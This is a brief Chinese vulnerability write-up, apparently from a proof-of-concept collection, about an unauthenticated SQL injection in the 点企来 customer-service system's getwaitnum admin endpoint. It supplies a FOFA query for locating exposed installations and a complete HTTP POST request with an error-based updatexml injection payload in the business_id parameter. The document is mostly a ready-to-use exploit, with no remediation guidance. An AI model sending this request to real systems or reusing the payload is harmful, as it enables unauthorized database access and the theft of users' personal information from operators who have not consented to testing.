点企来客服系统getwaitnum存在sql注入漏洞

# 点企来客服系统getwaitnum存在sql注入漏洞



点企来客服系统getwaitnum存在sql注入漏洞，攻击者未经授权可以访问数据库中的数据，盗取用户的隐私以及个人信息，造成用户的信息泄露。



## fofa



```yaml

body="layui-form-item" && body="/admin/login/check.html"

```



## poc



```java

POST /admin/event/getwaitnum HTTP/2

Host: 

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

Connection: keep-alive

Content-Length: 84

Content-Type: application/x-www-form-urlencoded

X-Requested-With: XMLHttpRequest

Accept-Encoding: gzip, deflate, br



business_id[]=exp&business_id[]=+and+updatexml(1,concat(0x7e,md5(0x5c)),1)&groupid=1

```



![image-20240823213038237](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202408232130305.png)







## 漏洞来源



- https://mp.weixin.qq.com/s/unbf6JO5U9OAqdVq8YFbuQ